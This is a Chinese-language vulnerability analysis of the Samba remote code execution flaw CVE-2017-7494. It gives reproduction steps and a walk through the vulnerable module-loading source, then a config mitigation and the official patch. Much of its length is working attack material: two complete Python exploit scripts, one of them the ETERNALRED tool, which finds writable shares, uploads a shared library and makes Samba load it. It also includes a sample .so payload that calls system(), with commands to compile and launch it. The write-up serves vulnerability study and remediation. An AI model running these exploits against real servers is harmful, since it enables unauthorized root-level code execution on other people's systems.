catalogue
1. 漏洞復現 2. 漏洞程式碼原理分析 3. 漏洞利用前提 4. 臨時緩解 && 修復手段
1. 漏洞復現
1. SMB登入上去 2. 列舉共享目錄，得到共享目錄/檔案列表，匿名IPC$將會被跳過 3. 從中過濾目錄，檢測是否可寫(通過建立一個.txt方式實現) 4. 生成一個隨機8位的so檔名，並將paylaod寫入so中 5. 最後一步，連線到\\192.168.206.128\\IPC$，在smb登入狀態下，建立/開啟一個named pipe
0x1: POC1
# -*- coding: utf-8 -*- # AUTHOR: zhenghan.zh # RELEASE TIME: 2017/05/25 # LINK: https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb # DESCRIPTION: 如果黑客可以對samba某個目錄具備寫許可權，可以向其中寫入一個包含samba_init_module()匯出函式的so檔案，並且向samba伺服器通過IPC named pipe的形式請求這個so檔案， # 由於對路徑中的斜槓處理不當，samba會載入並執行這個so檔案中的samba_init_module()程式碼邏輯 from optparse import OptionParser from impacket.dcerpc.v5 import transport def main(): parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="target ip address") parser.add_option("-m", "--module", dest="module", help="module path on target server") (options, args) = parser.parse_args() if options.target and options.module: stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module) rpctransport = transport.DCERPCTransportFactory(stringbinding) dce = rpctransport.get_dce_rpc() dce.connect() else: parser.print_help() if __name__ == "__main__": main()
0x2: POC2
#! /usr/bin/env python # Title : ETERNALRED # Date: 05/24/2017 # Exploit Author: steelo <knownsteelo@gmail.com> # Vendor Homepage: https://www.samba.org # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 # CVE-2017-7494 import argparse import os.path import sys import tempfile import time from smb.SMBConnection import SMBConnection from smb import smb_structs from smb.base import _PendingRequest from smb.smb2_structs import * from smb.base import * class SharedDevice2(SharedDevice): def __init__(self, type, name, comments, path, password): super().__init__(type, name, comments) self.path = path self.password = password class SMBConnectionEx(SMBConnection): def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False): super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) def hook_listShares(self): self._listShares = self.listSharesEx def hook_retrieveFile(self): self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix # This is maily the original listShares but request a higher level of info def listSharesEx(self, callback, errback, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') expiry_time = time.time() + timeout path = 'IPC$' messages_history = [ ] def connectSrvSvc(tid): m = SMB2Message(SMB2CreateRequest('srvsvc', file_attributes = 0, access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, oplock = SMB2_OPLOCK_LEVEL_NONE, impersonation = SEC_IMPERSONATE, create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL, create_disp = FILE_OPEN)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback) messages_history.append(m) def connectSrvSvcCB(create_message, **kwargs): messages_history.append(create_message) if create_message.status == 0: call_id = self._getNextRPCCallID() # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706] # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = \ binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \ struct.pack('<I', call_id) + \ binascii.unhexlify(b""" b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00 01 00 00 00 """.replace(b' ', b'').replace(b'\n', b'')) m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0)) m.tid = create_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid) messages_history.append(m) else: errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history)) def rpcBindCB(trans_message, **kwargs): messages_history.append(trans_message) if trans_message.status == 0: m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0)) m.tid = trans_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint') def rpcReadCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: call_id = self._getNextRPCCallID() padding = b'' remote_name = '\\\\' + self.remote_name server_len = len(remote_name) + 1 server_bytes_len = server_len * 2 if server_len % 2 != 0: padding = b'\0\0' server_bytes_len += 2 # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC. # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = \ binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \ struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \ binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \ struct.pack('<III', server_len, 0, server_len) + \ (remote_name + '\0').encode('UTF-16LE') + padding + \ binascii.unhexlify(b""" 02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 """.replace(b' ', b'').replace(b'\n', b'')) m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes)) m.tid = read_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint') def listShareResultsCB(result_message, **kwargs): messages_history.append(result_message) if result_message.status == 0: # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC. data_bytes = result_message.payload.out_data if data_bytes[3] & 0x02 == 0: sendReadRequest(result_message.tid, kwargs['fid'], data_bytes) else: decodeResults(result_message.tid, kwargs['fid'], data_bytes) elif result_message.status == 0x0103: # STATUS_PENDING self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid']) else: closeFid(result_message.tid, kwargs['fid']) errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def decodeResults(tid, fid, data_bytes): shares_count = struct.unpack('<I', data_bytes[36:40])[0] results = [ ] # A list of SharedDevice2 instances offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants for i in range(0, shares_count): results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None)) offset += 12 for i in range(0, shares_count): max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) closeFid(tid, fid) callback(results) def sendReadRequest(tid, fid, data_bytes): read_count = min(4280, self.max_read_size) m = SMB2Message(SMB2ReadRequest(fid, 0, read_count)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, data_bytes = data_bytes) def readCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: data_len = read_message.payload.data_length data_bytes = read_message.payload.data if data_bytes[3] & 0x02 == 0: sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24]) else: decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24]) else: closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def closeFid(tid, fid, results = None, error = None): m = SMB2Message(SMB2CloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error) messages_history.append(m) def closeCB(close_message, **kwargs): if kwargs['results'] is not None: callback(kwargs['results']) elif kwargs['error'] is not None: errback(OperationFailure(kwargs['error'], messages_history)) if path not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if connect_message.status == 0: self.connected_trees[path] = connect_message.tid connectSrvSvc(connect_message.tid) else: errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history)) m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path ))) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path) messages_history.append(m) else: connectSrvSvc(self.connected_trees[path]) # Don't convert to Window style path def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') messages_history = [ ] def sendOpen(tid): m = SMBMessage(ComOpenAndxRequest(filename = path, access_mode = 0x0040, # Sharing mode: Deny nothing to others open_mode = 0x0001, # Failed if file does not exist search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM, timeout = timeout * 1000)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback) messages_history.append(m) def openCB(open_message, **kwargs): messages_history.append(open_message) if not open_message.status.hasError: if max_length == 0: closeFid(open_message.tid, open_message.payload.fid) callback(( file_obj, open_message.payload.file_attributes, 0 )) else: sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history)) def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len): read_count = self.max_raw_size - 2 m = SMBMessage(ComReadAndxRequest(fid = fid, offset = offset, max_return_bytes_count = read_count, min_return_bytes_count = min(0xFFFF, read_count))) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes, read_len = read_len, remaining_len = remaining_len) def readCB(read_message, **kwargs): # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history. if not read_message.status.hasError: read_len = kwargs['read_len'] remaining_len = kwargs['remaining_len'] data_len = read_message.payload.data_length if max_length > 0: if data_len > remaining_len: file_obj.write(read_message.payload.data[:remaining_len]) read_len += remaining_len remaining_len = 0 else: file_obj.write(read_message.payload.data) remaining_len -= data_len read_len += data_len else: file_obj.write(read_message.payload.data) read_len += data_len if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2): closeFid(read_message.tid, kwargs['fid']) callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements else: sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len) else: messages_history.append(read_message) closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history)) def closeFid(tid, fid): m = SMBMessage(ComCloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) messages_history.append(m) if service_name not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if not connect_message.status.hasError: self.connected_trees[service_name] = connect_message.tid sendOpen(connect_message.tid) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history)) m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, '')) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name) messages_history.append(m) else: sendOpen(self.connected_trees[service_name]) def get_connection(user, password, server, port, force_smb1=False): if force_smb1: smb_structs.SUPPORT_SMB2 = False conn = SMBConnectionEx(user, password, "", "server") assert conn.connect(server, port) return conn def get_share_info(conn): conn.hook_listShares() return conn.listShares() def find_writeable_share(conn, shares): print("[+] Searching for writable share") filename = "red" test_file = tempfile.TemporaryFile() for share in shares: try: # If it's not writeable this will throw conn.storeFile(share.name, filename, test_file) conn.deleteFiles(share.name, filename) print("[+] Found writeable share: " + share.name) return share except: pass return None def write_payload(conn, share, payload, payload_name): with open(payload, "rb") as fin: conn.storeFile(share.name, payload_name, fin) return True def convert_share_path(share): path = share.path[2:] path = path.replace("\\", "/") return path def load_payload(user, password, server, port, fullpath): conn = get_connection(user, password, server, port, force_smb1 = True) conn.hook_retrieveFile() print("[+] Attempting to load payload") temp_file = tempfile.TemporaryFile() try: conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file) except: pass return def drop_payload(user, password, server, port, payload): payload_name = "charizard" conn = get_connection(user, password, server, port) shares = get_share_info(conn) share = find_writeable_share(conn, shares) if share is None: print("[!] No writeable shares on " + server + " for user: " + user) sys.exit(-1) if not write_payload(conn, share, payload, payload_name): print("[!] Failed to write payload: " + str(payload) + " to server") sys.exit(-1) conn.close() fullpath = convert_share_path(share) return os.path.join(fullpath, payload_name) def main(): parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description= """Eternal Red Samba Exploit -- CVE-2017-7494 Causes vulnerable Samba server to load a shared library in root context Credentials are not required if the server has a guest account For remote exploit you must have write permissions to at least one share Eternal Red will scan the Samba server for shares it can write to It will also determine the fullpath of the remote share For local exploit provide the full path to your shared library to load Your shared library should look something like this extern bool change_to_root_user(void); int samba_init_module(void) { change_to_root_user(); /* Do what thou wilt */ } """) parser.add_argument("payload", help="path to shared library to load", type=str) parser.add_argument("server", help="Server to target", type=str) parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int) parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str) parser.add_argument("--password", help="Password for user default is empty", type=str) parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool) args = parser.parse_args() if not os.path.isfile(args.payload): print("[!] Unable to open: " + args.payload) sys.exit(-1) port = 445 user = "nobody" password = "" fullpath = "" if args.port: port = args.port if args.username: user = args.username if args.password: password = args.password if args.local: fullpath = args.payload else: fullpath = drop_payload(user, password, args.server, port, args.payload) load_payload(user, password, args.server, port, fullpath) if __name__ == "__main__": main()
0x3: so code
#include <stdio.h> #include <stdlib.h> int samba_init_module(){ printf("Hi Samba. \n from: Fuck"); system("id > /home/samba/Fuck.txt"); return 0; } gcc -fPIC -shared samba_hack.c -o samba_hack.so /home/samba/samba_hack.so python exploit.py -t 192.168.206.128 -m /home/samba/samba_hack.so
Relevant Link:
https://www.exploit-db.com/exploits/42060/ https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb https://www.seebug.org/vuldb/ssvid-93139#0-tsina-1-55374-397232819ff9a47a7b7e80a40613cfe1 https://www.theregister.co.uk/2017/05/25/fatthumbed_dev_slashes_samba_security/
2. 漏洞程式碼原理分析
MSF傳送的最核心payload本質上一個SMB資料包，即通過SMB協議開啟一個named pipe檔案
# Returns a SMB_CREATE_RES response for a given named pipe def create_pipe(filename, disposition = 1, impersonation = 2) self.create(filename) end # Creates a file or opens an existing pipe def create(filename, disposition = 1, impersonation = 2, do_recv = true) pkt = CONST::SMB_CREATE_PKT.make_struct self.smb_defaults(pkt['Payload']['SMB']) pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 if self.require_signing #ascii pkt['Payload']['SMB'].v['Flags2'] = 0x2807 else #ascii pkt['Payload']['SMB'].v['Flags2'] = 0x2801 end pkt['Payload']['SMB'].v['WordCount'] = 24 pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['FileNameLen'] = filename.length pkt['Payload'].v['CreateFlags'] = 0x16 pkt['Payload'].v['AccessMask'] = 0x02000000 # Maximum Allowed pkt['Payload'].v['ShareAccess'] = 7 pkt['Payload'].v['CreateOptions'] = 0 pkt['Payload'].v['Impersonation'] = impersonation pkt['Payload'].v['Disposition'] = disposition pkt['Payload'].v['Payload'] = filename + "\x00" ret = self.smb_send(pkt.to_s) return ret if not do_recv ack = self.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX) # Save off the FileID if (ack['Payload'].v['FileID'] > 0) self.last_file_id = ack['Payload'].v['FileID'] end return ack end
SMB_COM_NT_CREATE_ANDX是SMB支援的一個Command協議型別，關於SMB協議，請參閱另一篇文章
http://www.cnblogs.com/LittleHann/p/6916326.html
這個資料包到達Linux Samba伺服器後，會觸發named pipe解析流程
\samba-3.5.0\source3\rpc_server\src_pipe.c
/** * Is a named pipe known? * @param[in] cli_filename The pipe name requested by the client * @result Do we want to serve this? */ bool is_known_pipename(const char *cli_filename, struct ndr_syntax_id *syntax) { const char *pipename = cli_filename; int i; NTSTATUS status; // 傳進來的payload是\PIPE\path\xx.so這種路徑，需要把PIPE頭部去掉 if (strnequal(pipename, "\\PIPE\\", 6)) { pipename += 5; } if (*pipename == '\\') { pipename += 1; } if (lp_disable_spoolss() && strequal(pipename, "spoolss")) { DEBUG(10, ("refusing spoolss access\n")); return false; } for (i=0; i<rpc_lookup_size; i++) { if (strequal(pipename, rpc_lookup[i].pipe.clnt)) { *syntax = rpc_lookup[i].rpc_interface; return true; } } // 這裡把傳入的pipename傳入smb_probe_module()進行解析: \\192.168.206.128\\IPC$\home\samba\samba_hack.so status = smb_probe_module("rpc", pipename); if (!NT_STATUS_IS_OK(status)) { DEBUG(10, ("is_known_pipename: %s unknown\n", cli_filename)); return false; } DEBUG(10, ("is_known_pipename: %s loaded dynamically\n", pipename)); /* * Scan the list again for the interface id */ for (i=0; i<rpc_lookup_size; i++) { if (strequal(pipename, rpc_lookup[i].pipe.clnt)) { *syntax = rpc_lookup[i].rpc_interface; return true; } } DEBUG(10, ("is_known_pipename: pipe %s did not register itself!\n", pipename)); return false; }
在這裡可以看到 pipename ，這個是管道名，需要利用這個管道名是惡意共享庫so檔案引數，比如\home\samba\samba_hack.so , 這個引數在傳遞進 smb_probe_module 裡，跟進下這個函式
\samba-3.5.0\source3\lib\module.c
NTSTATUS smb_probe_module(const char *subsystem, const char *module) { char *full_path = NULL; TALLOC_CTX *ctx = talloc_stackframe(); NTSTATUS status; /* Check for absolute path */ /* if we make any 'samba multibyte string' calls here, we break for loading string modules */ DEBUG(5, ("Probing module '%s'\n", module)); // 如果傳入的是一個據對路徑，在繼續傳入do_smb_load_module if (module[0] == '/') { status = do_smb_load_module(module, True); TALLOC_FREE(ctx); return status; } full_path = talloc_asprintf(ctx, "%s/%s.%s", modules_path(subsystem), module, shlib_ext()); if (!full_path) { TALLOC_FREE(ctx); return NT_STATUS_NO_MEMORY; } DEBUG(5, ("Probing module '%s': Trying to load from %s\n", module, full_path)); status = do_smb_load_module(full_path, True); TALLOC_FREE(ctx); return status; }
繼續跟進do_smb_load_module()
static NTSTATUS do_smb_load_module(const char *module_name, bool is_probe) { void *handle; init_module_function *init; NTSTATUS status; const char *error; /* Always try to use LAZY symbol resolving; if the plugin has * backwards compatibility, there might be symbols in the * plugin referencing to old (removed) functions */ handle = dlopen(module_name, RTLD_LAZY); /* This call should reset any possible non-fatal errors that occured since last call to dl* functions */ error = dlerror(); if(!handle) { int level = is_probe ? 3 : 0; DEBUG(level, ("Error loading module '%s': %s\n", module_name, error ? error : "")); return NT_STATUS_UNSUCCESSFUL; } // 動態載入so，並呼叫了init_samba_module init = (init_module_function *)dlsym(handle, "init_samba_module"); /* we must check dlerror() to determine if it worked, because dlsym() can validly return NULL */ error = dlerror(); if (error) { DEBUG(0, ("Error trying to resolve symbol 'init_samba_module' " "in %s: %s\n", module_name, error)); dlclose(handle); return NT_STATUS_UNSUCCESSFUL; } DEBUG(2, ("Module '%s' loaded\n", module_name)); status = init(); if (!NT_STATUS_IS_OK(status)) { DEBUG(0, ("Module '%s' initialization failed: %s\n", module_name, get_friendly_nt_error_msg(status))); dlclose(handle); } return status; }
可以看到把管道名傳遞進入到 dlopen 函式也就是開啟惡意構造的共享庫檔案，接著把控制程式碼給了 dlsym 載入SAMBA_INIT_MODULE,也就是說惡意共享庫的功能要寫入到 Samba 初始化函式裡才能被載入，這樣就觸發了惡意構造的函式功能。看到這裡，不免心理產生一個疑問，這個漏洞看起來是samba提供的一個"正常功能"，似乎就是專門用來載入samba so模組並執行的，我麼接下來分析下samba提供這個功能的本意是什麼
0x1: samba module
samba提供了一套module system機制，它提供了samba功能擴充套件的靈活性
1. Transparent loading of static and shared modules (no need for a subsystem to know about modules) 2. Simple selection between shared and static modules at configure time 3. "preload modules" option for increasing performance for stable modules 4. No nasty #define stuff anymore 5. All backends are available as plugin now (including pdb_ldap and pdb_tdb)
1. Loading modules
Some subsystems in samba use different backends. These backends can be either statically linked in to samba or available as a plugin. A subsystem should have a function that allows a module to register itself. For example, the passdb subsystem has:
NTSTATUS smb_register_passdb(int version, const char *name, pdb_init_function init);
This function will be called by the initialisation function of the module to register itself.
2. Static modules
The modules system compiles a list of initialisation functions for the static modules of each subsystem. This is a define. For example, it is here currently (from include/config.h):
/* Static init functions */ #define static_init_pdb { pdb_mysql_init(); pdb_ldap_init(); pdb_smbpasswd_init(); pdb_tdbsam_init(); pdb_guest_init();} These functions should be called before the subsystem is used. That should be done when the subsystem is initialised or first used.
3. Shared modules
If a subsystem needs a certain backend, it should check if it has already been registered. If the backend hasn't been registered already, the subsystem should call smb_probe_module(char *subsystem, char *backend). This function tries to load the correct module from a certain path ($LIBDIR/subsystem/backend.so). If the first character in 'backend' is a slash, smb_probe_module() tries to load the module from the absolute path specified in 'backend'.
After smb_probe_module() has been executed, the subsystem should check again if the module has been registered.
0x2: RPC Pluggable Modules
回到這次漏洞的主角，RPC subsystem，This architecture was added to increase the maintainability of Samba allowing RPC Pipes to be worked on separately from the main CVS branch. The RPM architecture will also allow third-party vendors to add functionality to Samba through plug-ins.
Samba在3.0之後增加了RPC方式為Samba server增加功能擴充套件外掛(so)的能力
When an RPC call is sent to smbd, smbd tries to load a shared library by the name librpc_<pipename>.so to handle the call if it doesn't know how to handle the call internally. For instance, LSA calls are handled by librpc_lsass.so.. These shared libraries should be located in the <sambaroot>/lib/rpc. smbd then attempts to call the init_module function within the shared library
Relevant Link:
http://paper.seebug.org/307/#0-tsina-1-33359-397232819ff9a47a7b7e80a40613cfe1 http://blogs.360.cn/blog/samba%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9Ecve-2017-7494%E5%88%86%E6%9E%90/ http://www.freebuf.com/vuls/135624.html https://www.samba.org/samba/docs/man/Samba-Developers-Guide/modules.html https://www.samba.org/samba/docs/man/Samba-Developers-Guide/rpc-plugin.html https://www.samba.org/samba/docs/man/Samba-Developers-Guide/
3. 漏洞利用前提
該漏洞的穩定性和適用性不高，原因是有很多前提限制
1. 需要能登入對方SMB伺服器 1) 如果對方是share模式，則直接匿名登入 2) 如果對方是user模式，則需要知道帳號密碼 2. 需要該登入的帳號具有Samba共享目錄的寫入許可權，應為用於執行執行的so檔案需要上傳到SMB共享目錄中 3. 需要暴力猜解寫入目錄的絕對路徑，該漏洞利用的是SMB的SMB_COM_NT_CREATE_ANDX指令，該指令要求我們傳入so在目標機器上的據對物理路徑
Relevant Link:
http://www.sohu.com/a/143887827_332887
4. 臨時緩解 && 修復手段
0x1: 通過修改配置檔案臨時關閉相關功能
smb.conf [global] nt pipesupport = no 重啟samba服務 service smb restart #Or /etc/init.d/smb restart
0x2: samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch
diff --git a/source3/rpc_server/srv_pipe.c b/source3/rpc_server/srv_pipe.c index 0633b5f..c3f0cd8 100644 --- a/source3/rpc_server/srv_pipe.c +++ b/source3/rpc_server/srv_pipe.c @@ -475,6 +475,11 @@ bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax) { NTSTATUS status; + if (strchr(pipename, '/')) { + DEBUG(1, ("Refusing open on pipe %s\n", pipename)); + return false; + } + if (lp_disable_spoolss() && strequal(pipename, "spoolss")) { DEBUG(10, ("refusing spoolss access\n")); return false;
samba禁止傳入據對路徑的so路徑，因為正常來說，samba只接收<sambaroot>/lib/rpc/xxx.so這種路徑
Relevant Link:
http://www.sohu.com/a/143887827_332887
https://download.samba.org/pub/samba/patches/security/samba-4.6.3-4.5.9-4.4.13-CVE-2017-7494.patch
https://www.samba.org/samba/history/security.html
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